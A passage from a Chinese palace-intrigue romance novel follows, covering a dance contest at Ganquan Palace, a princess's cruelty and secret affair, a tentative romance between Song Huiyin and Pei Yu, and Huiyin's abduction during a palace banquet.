鼓响三声,郑秀直起身,纤细的身姿如青竹。 “咚——” 她忽的腰肢一软,整个人向后折去。素纱长袖摊开铺开在木廊上,如水蛇般妖娆扭动。 飞舞的长袖跟随她腰肢的韵律,在空中变幻莫测,腰间挂着的小金铃随着她的舞步叮叮当当响个不停。 重鼓声再次急促响起,郑秀后腰柔软,再次下腰,单腿朝天,头颅离地不过三寸。这般欲坠不坠的姿态,竟比彻底卧倒更教人屏息。 一舞结束,掌声雷动。 徽音不自然的摸摸后腰,她没有郑秀那般柔软的腰肢,学折腰舞时吃了不少苦头才堪堪练的像模像样,与郑秀这支舞完全没有可比性。 郑秀胸脯上下起伏,脸上浮起细汗,她脚步轻盈的走进亭内,目光看向徽音,似乎在说,你赢不了我。 徽音不等广陵开口催促,在她开口前就起身走到木廊中央。东风渐起,吹起她层叠的碧粉纱裙,朱红发带飞扬。 她扬起头,余光看见斜上方山坡上矗立着一对队人影,像是一队上山打猎的骑兵。距离有些远,她看得有些模糊,其中一人身形轮廓像极了裴彧。 徽音眯着眼想要细看。 广陵令人生厌的声音响起:“磨磨唧唧做什么,要认输啊?” 徽音收回视线,示意乐师可以开始弹奏了。她闭上眼,聆听音律。 少女一身碧粉纱裙立于十里荷花中,如同刚刚化形的瑶池仙子。她右足轻轻点地,左腿缓缓抬起,膝弯折出新月般的弧度。 她随着轻盈欢快的乐律舞动,双臂张开,袖中金粉散开落进湖中,如同一只的翩翩飞舞的蝴蝶,肆意在池中嬉笑玩乐。 乐声见底。 徽音收袖翻身,双手挽花作莲状,从高到低。她俯身倾腰,一段雪白后颈从散乱的青丝间露出,耀眼逼人。 “快看,那是什么?”有人惊呼道。 众人抬眼望去,只见木廊周边的湖中吸引了大大小小的游鱼和锦鲤,围在徽音身边,随着她的舞步上下起伏。 亭中人只觉惊奇,纷纷起身观望。 山坡上的众人满眼震撼,从他们俯瞰的视角望去,十里荷花中,一女子轻盈舞动,朱色发带吸人眼球,让人不自觉跟着它上下浮动。 让人惊叹的,湖中的游鱼四面八方的朝那女子游去,最终汇聚在她身边,锦鲤色彩斑斓,少女碧裙翻飞,一时间叫人分不清是锦鲤跃动之美,还是少女舞姿更美。 太子不可思议叹道:“世间竟然如此奇景。” 吴王抱臂笑道:“太子皇兄,可是后悔将宋徽音拱手送人了?” 太子回过神,有些尴尬,他瞪了眼吴王,不好意思的望着裴彧,“孤没有其他意思。” 裴彧轻轻颚首,太子什么脾性他最清楚,爱美之心,人皆有之,他还没小气到那个程度。 他只是没想到,一向低调做人徽音,竟会做出如此大出风头之事。 裴彧望着下方的奇景握紧缰绳,喉结上下滚动。很奇怪,他是个占有欲很强的,属于他的东西,旁人看一眼都不行。 但他此刻看着熠熠生辉的宋徽音,只想叫她更美些,更耀眼些。 她是株有毒的牡丹,裴彧很早就知道徽音动机不纯,留在他身边另有打算。他不介意,或者说他笃定宋徽音掀不起什么风浪。 不知何时起,她的毒素侵入全身,扰得裴彧日夜不宁。 想起两人昨日的争吵,裴彧心中不爽利起来,他如快速在人群中搜寻,果然在不远处看见凝视徽音身影的王寰。 裴彧轻嗤出声,再怎么看,也不会是他的。 徽音随着音律停住脚步,鼻尖冒起细汗,许久未舞,她能明显感觉到舞步的生疏,还有几次滞凝,好在她投机取巧,用锦鲤奇景遮掩过去。 贺佳莹捧干净的棉帕上前,眼睛一闪一闪的:“擦擦,累吗?” 徽音接过帕子擦脸,恹恹的摆摆手,她浑身冒汗,身上黏黏糊糊的,只想快点回去沐浴更衣。 她走进亭中,郑秀满目不可置信的望着她,眼底蓄满泪水。 徽音避开她的眼神,默默走到睢阳身边坐下。 睢阳递给徽音一杯茶,双手撑头,赞叹道:“徽音阿姊,你是怎么做到让游鱼汇聚的。” 徽音从衣袖口取出一点残余的金粉,凑在睢阳耳边低语:“我找要了些药粉,这些粉可以在短时间内吸引游鱼。” 随后竖起一根手指放在唇边,微微摇头。 睢阳双手捂唇,露出一双盈润的眼睛,眉眼弯弯的点头。 结束后,由睢阳和广陵各出一名宫婢收集票数,半响后,广陵的宫婢低着头走上前,声音极低:“郑女郎十九票,宋娘子二十一票,宋娘子赢。” 徽音也有些差异,在她的猜想里,平局是最好的结果,她没想过赢,也不愿意输,只想顺利从今日的宴席中安然脱身。 没想到的是,竟以一票之差胜出了。 亭中一片寂寥,按照先前定好的赌约,广陵公主输了,要亲口向徽音和贺佳莹道歉,但此刻众人都不敢开口提起。 “殿下,愿赌服输。”徽音坐在睢阳身边,打破寂静。 广陵阴沉着脸,那眼神恨不得剐下徽音的眼睛,她坐在原地没动,极为不屑,“你们也配?” 徽音笑了笑,她压根没指望广陵会遵守约定,“殿下不愿,那就……作罢。” 那边的广陵脸色极为难看,视线如刀的剐着泣泪的郑秀,看见她那副柔弱的模样更为生气。 她推开身侧摇扇的宫婢,气势汹汹的走到垂泪的郑秀面前,抬手就是狠狠的一巴掌。 郑秀被打蒙在地,捂着脸不敢出声,她的发髻被方才的巴掌打散,凌乱的垂在肩上。 突如其来的变故让亭中众人瞬息止声,徽音和睢阳同时抬眼望去,贺佳莹眼睫颤抖,不自觉退后一步。 广陵盯着地上捂脸的郑秀,辱骂:“废物东西,和你那下贱的母亲一样,只配供人取乐。” 郑秀从跪地后就一直低着头,手掌撑在地上,指尖发白。 广陵又犹不解气,回身拿起桌上的酒盏浇在郑秀头上,桃红色的浆饮顺着郑秀的脸滴落在地上,空气中弥漫着一股甜腻的味道。 “废物!没用的东西!给你机会你不中用,回去就把你送给……” 睢阳见广陵越说越过火,举止越发过分,出言阻止:“皇姊!” 广陵被叫住,眼神狠辣,“怎么,本公主管教自家人都不行?” 睢阳难得冷下脸,起身走到郑秀身边,当着广陵的面扶起郑秀,将人护在身后。 不卑不亢的对上广陵,“你我身为皇家公主,一言一行皆代表皇室颜面。你嚣张跋扈,以势压人,欺凌弱小,当真以为没人能治得了你吗?” 广陵失声笑起来,发髻上的金枝乱颤,她抬手摸过睢阳粉润的脸,手下用力,“何时轮到你教训我了?” “大长秋到!”小黄门扯着嗓子唱到。 广陵皱眉,抬眼望去,大长秋姚兰一身宫装,气质威严,身后跟着两个小黄门。她笑吟吟的望着亭中僵持的两人,嘴唇启合:“皇后传召,广陵殿下,睢阳殿下,请吧。” 广陵收回手,冷冷的瞥了眼端坐的徽音,拂袖离去。睢阳跟在她身后,一行人身影消失在秀水湖畔。 回迎风馆的路上,贺佳莹踌躇问道:“你不问问我,广陵对我做了什么吗?” 徽音眯着眼,抬手遮住树缝洒落的阳光,“没什么好问的。” 她脚步不停,也没有回头,空灵的声音飘进贺佳莹耳里:“那些打不倒你的,终将使你变得更为强大。” 贺佳莹放慢脚步,眼前浮上一层雾气,她望着徽音的背影,她很羡慕徽音,也很想成为她那样的人。 冷静,强大,无所畏惧,似乎什么事情都不能将她打倒。无论什么困境,她总能凭借自己挣脱牢笼。 她擦擦眼角,加快脚步追上去。 徽音回到迎风馆,迎面撞上飞奔出来的裴衍,好在裴衍腰间发力,侧身躲避,不然徽音就要被他的蛮力撞出去。 贺佳莹扶住徽音,探头看着裴衍斥道:“小心点!毛手毛脚的。” 裴衍望天摸摸后脑勺,“我是想去看你们比试的,你们已经回了,谁赢了?” 徽音:“我赢了。” 她说完快步越过裴衍,进屋拆散发髻。 裴衍在身后叫道:“太可惜了,我居然错过广陵吃瘪的神色。” 贺佳莹拍拍他的肩,道:“她根本没遵守诺言,不过广陵气疯了,当着众人面辱骂殴打郑秀,已经被皇后娘娘喊去了,估摸着要遭一顿训斥。” “可惜我没瞧见。“裴衍摸着下巴,遗憾道。 贺佳莹:“姨母不是让你去将表兄叫回来吗?” 裴衍:“阿兄今日与太子吴王进山打猎去了,他说午间会归。” 贺佳莹颇为遗憾:“可惜表兄没看见徽音的舞姿,他若在,必然要被迷倒。” 议论中心的徽音浑然不觉,她身体浸在温热的水中,闭着眼靠在浴桶上,脑中回想起土坡上的那个人影,越想越觉得像裴彧。 徽音想起昨夜的不欢而散,摇摇头甩开思绪,掌心合拢捧起清水淋在身上。 听说苏静好这些时日都被皇后娘娘带在身边处理一些公务,袁秩那里暂时没有消息,不如先去苏静好那里探探。 颜娘拿来干净柔软的长裙给徽音穿上,用干净的帕子绞干她的头发。 临近午时,檐下风铃轻响,院中花枝摇曳,清香扑鼻。 颜娘将午食摆在窗前,喊徽音过去用饭,行宫内的饭食统一由内宫食监负责,每日的食谱都是定好的。 味道平平无奇,不能说好吃,也不能说难吃,有点能力的人家都私下在院子里开小灶。 颜娘托人弄来了些新鲜的莲藕的,用猪大骨中火慢炖半个时辰熬出的莲藕骨汤,香气四溢。 徽音捧着热汤小口喝着,颜娘满面笑意的望着她,手掌的竹扇轻轻摇晃,风中夹着翠竹的清香。 “尝尝烤肉。”颜娘递了一把烤好的肉串过去。 徽音接过肉串,竹签和肉嵌的很紧,她费了好大力才咬下来一块。 门口传来金玉碰撞的声响,徽音顺着声音望去,裴彧目光深邃的站在院门口,静静的望着她。 徽音放下手中的肉串,低头一言不发。 风越过树梢,带起一阵沙沙的响声。 裴彧望着檐下坐着的少女,她似乎是方沐浴过,穿着一身浅杏色直裾,袖口宽大,露出白皙纤细的手臂。发丝散在脑后,两侧肩膀处垂落一缕,气质恬静。 他想起刚刚进院时看见的一幕,徽音垂着眼跟肉串较劲,他第一次在她脸上看见龇牙咧嘴的生动表情,却丝毫没有觉得难看,反而觉得很可爱? 颜娘不知道两人间的别扭,坐在徽音身后轻咳提醒她出声。 徽音沉默良久,终是抬头询问:“少将军,用饭了吗?” 裴彧面色冷淡:“尚未。” “那一同用些吧。”徽音望着裴彧,目光平静。 裴彧轻轻颚首,在徽音的注视下缓缓走上前,跽坐在徽音对面。 颜娘见状起身,迈着小步去了旁屋,取来一对干净的碗筷放在裴彧面前,她略微迟疑了一刻,还是转身离去,轻轻掩上院门。 小院中只剩徽音和裴彧,一时静默无言。徽音拿过裴彧的漆碗,替他盛了一碗温热的排骨汤,睫毛轻颤:”莲藕排骨汤,荆楚特色。” 她将漆碗放在裴彧面前,挺直背脊的望着对面的男人。 裴彧拿起银喝汤,他礼仪很好,吃香也很斯文。 徽音吃的差不多了,她视线放空,眼神虚虚落在裴彧肩侧。想起刚到裴府的时候,她还不熟悉裴彧的性格,在他面前总是时刻紧绷着,不敢放肆,深怕他不喜。 不知从什么时候开始,她变得越来越不怕裴彧,甚至敢和他吵架甩脸子了? 脸上传来温热的触感,还有茧痕的粗糙感,徽音回神过来,微微侧头,发觉裴彧正抬手摸着她的脸,手指微动,动作温柔的轻轻擦拭她的嘴角。 他面上表情未变,依旧是那副冷脸的模样,说出的话却令徽音心神一颤,”脸,脏了。” 徽音呆呆的望着他,心里头浮起一个极为不可能的想法,“你……” 徽音话还没说完,就被闯进来的裴衍打断,裴衍穿着一身短襦袍子,脚踩小皮靴,腰间挎着长刀,他嗓门极大:“阿兄,带我去苑林马场,我要去骑汗血宝马!” 裴彧在裴衍出声那刻就收回手,指节轻叩案几,瞳色深不见底的望着裴衍,“你不会敲门?” 裴衍迷茫的看看阿兄,又看看阿兄对面的徽音,才发觉不妥。阿兄现在和徽音住在一起,他不能随随便便就闯进来了。 “我下次一定注意。”裴衍后退两步,在木门上轻轻敲击。 裴彧放下箸,起身带着裴衍走出院门,徽音听见两兄弟的交谈。 裴衍:“听说汗血宝马跑起来流的汗和血一样,是不是真的啊?” 裴衍:“阿兄,我们现在就过去看好不好?” 裴衍:“我真的很想看,求你了,阿兄!” 裴彧似是被烦的不行,一掌推开裴衍凑上来的脑袋,懒洋洋道:“等我给我阿母请完安。” 两兄弟的身影消失在拐角出,徽音低头笑出声,裴衍一遇上裴彧就好像摇着尾巴的小狗。 裴彧面上对裴衍一副不耐烦的模样,内里却很关心幼弟,满足他想要的一切。 她有一次遇见裴彧深夜翻阅竹简,还以为他在看研读兵书,后来才知道,他是在翻看裴衍在太学里的文章,偷偷关心他的学业。 徽音起身回屋,坐在铜镜前照着脸颊,她鬼使神差的抬手覆在裴彧触摸过的地方,想起他那时幽深的眼神。 颜娘在外吆喝阿蘅收拾案几的声音打断她的动作,徽音心中一跳,连忙撤手低头整理裙摆,方才被裴衍打断了,她没来及得问出口,裴彧是对她动心了吗? 徽音支着头,想想又觉得不可能,他心中一直是远在青州的柳檀,等着她守孝期满两人再续前缘,这是人人都知道的事。 他心中有人,怎会对她动心呢。 徽音轻轻呼出一口气,还好方才没问出声,不然裴彧否认后多尬尴,估计会觉得她自作多情,说不定还会嘲讽她,仗着有一张颜色的好的脸,就认为全天下的男人都喜欢她。 她抬手拍拍脸,望着镜中的人影,一字一句叮嘱道:“宋徽音,不要乱想,他和你,不是同路人。” 裴彧离去后,夜里也没再回来。 裴夫人得了闲,日日带着贺佳莹出门相看,每日黄昏时分才归。裴衍跟裴彧去了苑林马场后,也住在了那边。 偌大的迎风馆只剩徽音一人,她独自待了几日,每日待在屋内钻研古文字,跟着颜娘练女工,因裴彧波动的心绪逐渐恢复平静。 —— 转眼便是抵达甘泉行宫的第一场夜宴。 用过午饭后,贺佳莹就跑到徽音的院子里,绘声绘色的讲了这些天相看的事。 她伏在矮榻上,用宽大的衣袖遮住脸颊,闷闷不乐道:“姨母带我见的几人,我一个都不喜欢。” 徽音问:“你喜欢什么样的?” 贺佳莹转头望着坐在窗前修建素馨花的徽音,歪着头道:“我也不知道,许是不合眼缘?” “总之,要找个我喜欢的!” 徽音放下剪刀,转身望着贺佳莹,呢喃道:“喜欢是什么?” 贺佳莹提裙下榻,快步小跑到徽音身边,坐在她对面的锦席上,大声解释:“喜欢就是看见他和其他女人在一起会生气,见不到他时会时时惦念,因他忧而忧,因他悦而悦。” 徽音不解:“喜怒哀乐皆系于一男子,那还是自己吗?” “唔,”贺佳莹皱眉,“我也是听别人说的,什么是喜欢,我也不懂。 徽音放下剪刀,低头整理案几上碎叶,转移话题:“广陵的事,你知道多少?” 贺佳莹小脸皱成一团,撇撇嘴道:“知道的不多,我平时见了她都绕道走。” “她那桩婚姻你知道吗?”徽音轻轻摆弄花枝,漫不经心问道。 贺佳莹拍掌道:“这个我知道,姨母与我说过,广陵公主不愿意嫁,郑妃娘娘天天在陛下面前吹风,要解除这桩婚事呢。” 广陵同淮南王世子的亲事是先帝临终前定下的,淮南王是本朝唯一的异性亲王,先帝在时,功勋卓越,一人平定四国之乱。 他子嗣不息,除三个女儿外就只得了一个儿子,便是如今的淮南王世子。自小聪颖机敏,只可惜在他八岁那年生了一场大病,落下后遗症,成了一个痴傻儿。 先帝本忌惮淮南王功高,世子机敏,处处提防。未料一朝出事,淮南王府唯一的继承人成了一个痴儿。 他彻底放下心,为了安抚淮南王,便将当时的太子长女,也就是如今的广陵公主许给了淮南王世子。 随着广陵渐渐长大,郑家水涨船高,她是一万个不愿意履行这桩婚事,一直想各种办法拖延着,如今已年近二十,宫中依旧没有要送公主出嫁的动静。 广陵和郑家卯力气想要退婚,但因着是先帝旨意,陛下一直未曾应允,却也未曾逼她成婚。 淮南王心中也清楚始末,这些年来一直安分,留在封地未曾进京,也不曾向陛下请旨下嫁公主。 淮南王世子已二十有二,因名义上是广陵的未婚夫,淮南王也未曾给他纳妾。但他就这一个独苗苗,又心智残缺,如何不会盼望早日得一个健全的孙儿。 贺佳莹四处张望片刻,凑近徽音耳语:“我还知道一个秘密,广陵她私下养了个面首。” 徽音一顿,眼里趣味颇浓,“你怎么知道的?” 贺佳莹踌躇片刻,还是觉得坦白:“我有一次偷偷撞见她和一男子举止亲密,当时还不知道,但广陵事后对我一顿威胁打骂,我就猜到了。” 贺佳莹直起身,撅着嘴巴凑到徽音面前。 徽音连忙后退,按住她的肩膀不让她前进,惊讶道:“你干什么!” 贺佳莹讪讪的退回去,解释道:“我在给你演示啊,她和那男子搂抱在一处,嘴对嘴亲着,声音还特别响。” 徽音:“……” “你说归说,别动作。” 贺佳莹不解,瞪着两只乌黑的眼睛叫道:“我们又不是没亲过,我落水那会……” “闭嘴!说正事。”徽音快速打断她。 “好吧,”贺佳莹趴在案几上,拨弄修剪后的素馨花,兴致缺缺,“她也是因为我撞破她的秘密,这才屡次针对我,叫人找我麻烦,就上前几日的小宴一样。” 徽音:“那面首长什么模样,你还记得吗?” 贺佳莹点点头,回忆片刻:“斯斯文文的,很白净清秀,挺眼熟的,但是我又想不起来他到底像谁。” 她在脑中仔细回忆着,贺佳莹可以肯定她一定见过与那面首长相相似的人,是在哪里呢? “对了,我虽想不起他像谁。但是前几日秀水湖畔,我在看热闹的人群里看见了他!” 徽音疑问:“你确定没看错?” 广陵再如何娇纵跋扈,也不至于猖狂到将面首带到甘泉行宫来。淮南王虽低调,却不是吃素的,能由得她这样侮辱…… 贺佳莹肯定的点点头:“我确定,就是他。他眼角下有一颗血红的泪痣,与清秀的面目差距甚大,叫人一见难忘。 徽音拿起案几上一根残枝轻轻掰断,低头浅笑,未嫁公主蓄养面首,堂而皇之带到甘泉行宫,还有一个身份不凡的未婚夫。 好戏要开场了。 第36章 甘泉宫夜宴上 夕阳西沉, 甘泉山的轮廓在黄昏里渐渐深邃。大庆殿的丝竹声传来,似乎是在提醒人们,今夜的盛景。 徽音着月白曲裾深衣, 腰间束一条朱红宽带,垂落两条绫罗飘带, 外罩一件素纱单衣。 青丝绾成垂云髻,仅以一支羊脂白玉簪固定,簪头雕成含苞的玉兰,耳畔悬着两粒明珠, 盈盈润泽。 贺佳莹今日打扮同从前差不多,樱色交领襦裙, 发丝盘于成望仙髻, 鬓边插一支金金玉蝴蝶簪,坠着三条珍珠垂链, 衬得肌肤胜雪。 裴夫人打扮偏庄重,深紫三重曲裾,高髻珠翠华光,腰间坠一枚翡翠禁步,行动时发出清越玉鸣。 临近戌时, 裴夫人领着徽音和贺佳莹出门, 沿着浅石小道朝内宫行去。一路上遇见不少熟捻的官员家眷, 彼此寒暄两句, 一同前往内宫大庆殿。 徽音和贺佳莹跟在裴夫人身后, 不动声色的打量同裴夫人叙话的夫人。她就是柳檀和柳桐两姐妹的母亲, 河东柳氏当家作主的大夫人。 柳夫人眉眼间和柳桐如出一辙,只不过她脸型较长,侧脸圆润, 加之嘴角一直带着一抹浅浅的微笑,给人一种如沐春风,笑意温婉的感觉。 徽音曾见过这位柳夫人一面,她阿母颜婥确实与柳家有几分渊源,却不是柳桐口中的那样。 二十年前,徽音阿父宋渭名声鹊起,才名远播,引得不少外地学子奔赴宛县同他比试学问。如今的河东柳氏家主,柳檀姐妹的父亲,时任光禄勋大夫的柳寅光也是其中一员。 柳寅光容貌俊朗,谈吐不凡,一到宛县便吸引了众多女子的目光。 而颜婥是当时十里八乡容色最好的小娘子,家中幼女,自幼体弱,如珠似宝的宠着长大,性子天真。 意气风发的少年与正当韶华的少女碰面,自然会发生一些话本里才子佳人的故事来。 两人迅速坠入爱河,可柳寅光出身氏族,即便颜家在宛县是当地大族,在河东柳氏面前也是不够看的。 柳寅光的父母说,颜婥若想进柳家的门,只能为妾,或者,柳寅光自愿放弃家族宗子身份,不得继任家主之位,他们才会同意柳寅光娶颜婥为妻。 柳寅光既不愿意放弃家主之位,也不愿意放弃颜婥,他找到颜婥,对天发誓,即使颜婥为妾,他日后娶妻,颜婥也依旧是他心中最爱的人,他会给颜婥最好的一切。 颜婥不愿意,快刀斩乱麻的和柳寅光分开。而这时,宋渭却突然上颜家门提亲求娶颜婥,颜婥也为了避免柳寅光的纠缠,答应了宋渭的提亲。 至于徽音是如何知道这些往事的,全靠她阿父不避讳。宋渭和颜婥成亲后没两年就生下了徽音,赶上新帝登基,被陛下招入京。 柳寅光一直记恨宋渭背后使招娶走了颜婥,多年来一直记恨,宋渭入京后他更是屡屡使绊子。 每次使完绊子,宋渭便回家扑在颜婥面前哭诉柳寅光的小人行径,然后又是吃一口陈年老醋,哄得颜婥心疼他。 徽音那时年纪虽小,也是记事的年纪。宋父不仅不避讳,还屡次当着颜婥的面叮嘱徽音,不要和柳家的儿女交好,尤其是柳家的男儿。 不出意外,每次都招来颜婥的一顿笑骂。 至于这位柳夫人,以往宴会两家相遇,她面上一直是一副亲亲热热的状态。但从柳桐口中透露出来的那些,徽音就明白,她是怨的。 柳寅光身为父亲自然不会在女儿面前述说自己年轻时候的情债,柳桐所得知的一切便是来自与这位柳夫人的言传身教。 只是,她不去怨罪魁祸首,却怨她母亲,私下诋毁是什么道理。 贺佳莹看见徽音目光一直在柳夫人身上,她凑过去小声嘀咕:“这柳夫人倒是温婉,也不知她是如何养出柳桐那样的女儿。” 徽音从思绪中抽离,笑道:“也许柳桐性子随他父亲。” 她低头和贺佳莹叙话,忽觉一道目光落在她的身上,徽音抬头去看,那位柳夫人目光意味深长的望着她,正在跟裴夫人说些什么。 裴夫人面上的表情很好猜,她连连摆手,笑意有些勉强,嘴唇上下启合在解释什么。 徽音猜,定是柳夫人在裴夫人面前上她的眼药,裴夫人替她在解释。 也是难为她了,想必是徽音那日一番话对柳桐冲击不小,她回去定然同柳夫人好生闹了一场。不然,柳夫人也不至于特意等在这里,朝裴夫人上眼药。 柳夫人笑了起来,方才周身温婉的气质散去,取而代之的是一副高高在上不屑的笑意,她继续跟裴夫人说话。 徽音看见裴夫人解释的动作瞬间停住,面色变得难看起来。她开始猜测,柳夫人说了些什么,能让裴夫人变脸。 柳夫人说完那句话,别有深意的瞥了眼徽音,转身离去。 裴夫人静默片刻,挤出一抹笑,招呼徽音和贺佳莹跟上。她难得沉默,脸上没有笑意。 连贺佳莹都发觉不对劲,小心的问道:“姨母,你怎么了?” 裴夫人自以为掩饰很好,勉强笑道:“没怎么,快走吧,宫宴要开始了。” 贺佳莹一脸狐疑,戳戳身侧的徽音,“你知道那柳夫人说了什么吗?” 徽音虽没听见她们交谈,但基本上猜到了些:“裴家与柳家的渊源在于裴彧和柳檀,方才柳夫人频频看我。我猜,她是在跟裴夫人说,日后柳檀嫁予裴彧,我该如何处置。大约是让裴夫人将我早日打发走吧。” “不行!我不同意,”贺佳莹气鼓脸,“她真不要脸,明明当初是她们失信,表兄死讯传来不到三月便将柳檀嫁走,倘若愿意等等,岂会是如今的局面。” 徽音逗她:“你不同意有什么用,你表兄愿意呀。” “表兄他眼瞎!”贺佳莹嘴角向下,她现在是真的真的很喜欢徽音。 贺佳莹莫名感动难过起来,如果她是徽音,家道中落,家中只剩自己一人撑着,从天之娇女沦落到给人做妾,而那个人心中还有旁的女人,时刻惦念着要娶她回来!她只要想想都难受的想哭。 她嘴巴一瘪,抱住徽音的手臂安慰道:“徽音,你别难过,柳檀和你之间,我一定选你。就算她将来进了裴家的门,我也会帮你斗她的!” 徽音望着贺佳莹无比认真的神色和微红的眼眶,心中暖意上升,她握紧贺佳莹的手笑道:“将来你要嫁人的,如何帮我斗?” “那我就不嫁了,一辈子守着你。”贺佳莹认真道。 徽音眼前蒙上一层雾,她眨眨眼,压下泪意,仰头望着天上的星辰开心的笑起来,声音极轻:“贺佳莹,谢谢你。” “不用谢,”贺佳莹轻声回道,“这是我欠你的。” —— 暮色四合,一片昏暗天色中,大庆殿如同一颗闪闪发光的明珠,吸引所有人的视线。 殿前每隔十步放置一落地的雀鸟衔珠铜灯,火光明艳。明黄纱质帷幔轻扬,夜风穿堂而过,携来莲池的幽香,驱散夏夜的闷热。 地面铺就墨玉方砖,光滑如镜,四周的粉墙上绘着仙人驭龙、神女采芝,其笔法飘逸,似有仙气氤氲。 御座设于殿北高台,风座略微靠后,两夜宴分为男女宾客席,左为男,右为女。朱红勾勒的漆案整齐摆放在殿内,按官阶排列,青丝竹簟铺陈,前后各三列,殿之广,可容纳千人。 青铜冰鉴置于四角,寒气氤氲,每个座位后都有一名早已等候的宫婢,她们手执长柄鸾扇,轻轻摇动,凉风徐送。 殿外,乐工列坐阶下,随着黄门侍郎高唱,浑厚的编钟声如涟漪荡开,琴瑟笙箫启奏。众人肃然起身,垂首恭候。 远处宫灯如星,蜿蜒至殿前,御驾将至。 “陛下驾到——” “皇后驾到——” 殿门处,两队执戟羽林郎官鱼贯而入,分列两侧,玄甲映火。随后,十二名宫娥手提娟灯,迈着小步缓缓前行。 武帝身着玄色裳袍,头戴十二旒冕冠,白玉珠垂落,遮住其深邃眉目。他步履沉稳,龙行虎步,腰间玉佩轻撞,帝王威仪尽显。 裴后随行在侧,一袭深红曲裾,广袖垂落,衣摆绣着金凤暗纹,灯下流光溢彩。她挽着高髻,头上是一套配对的鸾凤金步摇,面容端庄,雍容华贵。 帝后行至御座前,武帝抬手,裴后落后一步站在武帝身侧,众人伏地,齐声高呼:“臣等恭迎陛下,皇后!愿陛下万岁,皇后千岁!” 武帝目光扫过众人,唇角微扬,沉声道: “众卿请起,今夜佳宴,不必拘礼。” 裴后亦含笑颔首,袖中指尖轻抬,示意宫人开宴。 苏静好陪侍在裴后身边,望着女眷席那边的眼熟的人影,渐渐放下心,过了今日,苏家困局便解了。 她和下方的广陵公主对视一眼,不约而同的移开目光。 苏静好指尖在漆盘上轻点,眼底暗光一闪而过。她招手唤来一名宫婢,在她耳边细语交代两句。 等宫婢离开后,她挺直背脊捋捋衣裙,望着身前皇后的背影艳羡,过不了几年,她也可以坐在这个位置上,受万人朝拜。 徽音和贺佳莹共用一案,案上冰镇瓜果盛于青玉盘,荔枝、杨梅堆叠如珠,寒瓜剖开,红瓤黑籽,水润晶莹。 旁边还有一叠新采的莲蓬,清香徐徐。两侧,大大小小的漆盘内盛着鱼脍、炙肉等佳肴,香气浮动。 两人对桌上的佳肴没有兴趣,对糕点瓜果倒是很爱,一同分食完,边吃边欣赏大殿中央的歌舞百戏。 徽音和贺佳莹不约而同的认为《建鼓舞》最好。四名身强体壮的赤膊力士轮番击打丈重鼓,鼓点如雷。 殿中人多,噪音也大,摆了冰也气息燥热,贺佳莹还喝了点浆果酒,此刻双脸酡红,眼神迷离。 徽音在她面前挥手问她,“我是谁?” 贺佳莹捧着酒盏笑嘻嘻道:“仙子,嘿嘿。” 徽音:“……”她是真没想到贺佳莹酒量如此浅,三倍果酒下去就认不清人。早知道,就不让她喝了。 贺佳莹许是觉得热,伸手去扒拉颈口的衣领,露出一截白皙的锁骨。 徽音连忙按住她的手,不好意思的同身侧守着的宫婢开口,“你可以帮我一起把她扶出去吹风醒酒吗?” 宫婢迈步上前,两人扶着贺佳莹一路出了大殿,徽音将人放在园中扎好的秋千上靠着,请宫婢寻来一些清水喂给贺佳莹喝。 她陪着贺佳莹在外头坐了一会,贺佳莹才清醒些,捂着脑袋喊晕。 徽音无奈:“起来走走?” 贺佳莹难受的点点头,两人朝园中走去,园中灯火明亮,到也不担心看不清路。 没走一会,贺佳莹又喊累,徽音这下是彻底没脾气了,带着人绕过假山去亭中歇息。 坐了半刻钟,徽音看贺佳莹好转不少,准备带着她回去,毕竟缺席太久被人看见了不好解释。 两人才刚走到假山出,就听见假山里传出细碎的声音,那声音很耳熟。 徽音和贺佳莹对视一眼,心中都清楚,这声音的主人就是广陵。徽音指着身后的草丛,示意贺佳莹过去。 贺佳莹捂住嘴巴,踮脚小心翼翼的跟在徽音身后,二人找了个安全的地方蹲着,朝假山内看去。 广陵靠在假山石上,满面通红,发丝散乱,她闭着眼睛,神情是欢愉又似痛苦,嘴里时不时发出呻吟。 她下裙里头好像蹲着一个人,徽音只能看见他露出的下半身,穿着一身宦官的灰色曲裾袍,上半身都隐没在广陵的裙底。 等到他俩完事,那个宦官替广陵收拾好衣裙,快步离去。从头到尾,徽音都没机会看清他的脸。广陵在原地平复片刻,神色慵懒,满面含春的离去。 贺佳莹龇牙咧嘴的起身,她腿蹲麻了,抽抽的疼。 徽音也不好受,两人在原地缓了半刻,相扶着离去。 贺佳莹肯定道:“身形差不多,就是我撞见的那个面首。不过,他们在干什么,广陵为什么会发出那种奇怪的声音?” 徽音望着她清澈的眼神,不想带坏小孩。她也不清楚具体,但依稀知道,是在行苟且之事。 她睁着眼睛说瞎话:“许是在按摩。” 贺佳莹也没多想,两人没走两步路就遇见了睢阳身边的一个眼熟的宫婢,她恭敬的上前道:“贺女郎,奴婢方才出来正碰见裴夫人在找你。” “我们马上回去。”贺佳莹说完,拉着徽音要离开。 睢阳的宫婢上前拦住二人去路,又道:“睢阳殿下吩咐婢子请宋娘子过去一叙。” 徽音点点头,让贺佳莹先回大殿,她则跟着那宫婢往西侧从去。 徽音:“睢阳殿下在何处?” 宫婢:“殿下觉得大殿内闷热,在不远处的凭栏透气。” 徽音顺着她指的方向看去,不远处的凭栏里确实倚着一个人影,衣饰与睢阳今日穿着一模一样。 宫婢带着徽音一路向西,越往里走越不见人影。徽音察觉到不对,她停住脚步,趁宫婢不注意转身离开。 她才回头,就看见两个小黄门朝她走来,鼻子上被一块气味刺鼻的帕子捂紧。徽音奋力挣扎,发出呜咽声,下一刻,双臂被人捆紧,她也渐渐失去了意识。 贺佳莹独自一人回到宴席上,发觉裴夫人正同身侧的夫人聊的热火朝天,她上前去问裴夫人找她何事,未料裴夫人摆摆手,说:“我没找你啊。” 贺佳莹眉头一皱,那宫婢骗她干什么,她发觉不对,正想起身出门去寻徽音。 裴夫人对面的肖夫人问道:“这就是你那侄女吧,长的真水灵,来让我仔细瞧瞧。” 肖夫人是京中最热衷于做媒的,不知多少佳偶是她亲手促成。裴夫人心中高兴极了,连忙拉着贺佳莹坐下,同肖夫人热络的聊起来。 贺佳莹脱不开身,余光去寻睢阳公主,发现她确实不在殿内。她压下心中猜疑,转头去应付肖夫人。 广陵靠在郑妃娘娘身边,听着宫人的汇报,高兴的笑出声。 她身侧的郑妃警告的看她一眼,训斥道:“上次小宴那事就惹得你父皇不悦,这段时间你给我老实点,别惹事。” 广陵没骨头的靠过去,撒娇道:“母妃莫气,我这回可是给你出气呢。” 